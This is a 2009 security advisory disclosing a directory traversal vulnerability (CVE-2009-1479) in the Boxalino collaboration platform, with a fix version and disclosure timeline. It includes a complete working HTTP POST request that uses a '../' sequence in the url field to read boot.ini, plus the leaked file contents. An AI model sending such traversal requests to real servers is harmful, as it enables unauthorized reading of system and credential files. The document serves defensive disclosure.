Boxalino Directory Traversal

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# http://www.csnc.ch/en/downloads/advisories.html  
#  
#############################################################  
#  
# Product: Boxalino  
# Vendor: Boxalino AG (www.boxalino.com)  
# CVD ID: CVE-2009-1479  
# Subject: Directory Traversal Vulnerabilities  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Axel Neumann <[email protected]>  
# Date: 2009-10-20  
#  
#############################################################  
  
Introduction  
------------  
An Directory Traversal vulnerability exists in the collaboration  
platform Boxalino [1]. Remote exploitation of a directory traversal  
vulnerability in Boxalino's product allows attackers to read arbitrary  
files on the server file system with web server privileges.  
  
  
Affected  
--------  
Vulnerable:  
* Boxalino (closed-source product)  
  
Not vulnerable:  
* Unknown  
  
Not tested:  
* N/A  
  
  
Technical Description  
---------------------  
When handling HTTP requests, Boxalino does not properly check for  
directory traversal specifiers. Therefore, by including a sequence such  
as "../../../", an attacker is able to read files outside of the  
intended location. The vulnerability exists for both, Windows and UNIX  
based systems.  
  
POST /boxalino/client/desktop/default.htm HTTP/1.0  
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5  
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5  
Host: www.example.ch  
Content-Length: 256  
Cookie: JSESSIONID=A57AABD5F2051C4333F500EBB1232295  
Connection: Close  
Pragma: no-cache  
  
url=../../../../../../../../boot.ini&login_loginName=example&login_loginPassword=example&login_cmd_logon=Login&defaultAction=Example&login_cmd_logon_resultPage=%2Fboxalino%2Fclient%2Fdesktop%2Fdefault%2Ehtm  
  
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Expires: Tues, 01 Jan 1980 00:00:00 GMT  
Content-Type: text/html  
Content-Length: 208  
Date: Wed, 29 Apr 2009 09:01:06 GMT  
Connection: close  
  
  
[boot loader] timeout=30  
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems]  
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003,  
Standard" /noexecute=optout /fastdetect  
  
  
Workaround / Fix  
----------------  
Update to Boxalino Version 09.05.25-0421  
  
  
Timeline  
--------  
2009-10-20: Advisory Release  
2009-05-26: Release of fixed Boxalino Version / Patch  
2009-05-25: Initial vendor response  
2009-04-30: Initial vendor notification  
2009-04-29: Assigned CVE-2009-1479  
2009-04-29: Discovery by Axel Neumann  
  
  
References  
----------  
[1] http://www.boxalino.com/  
  
`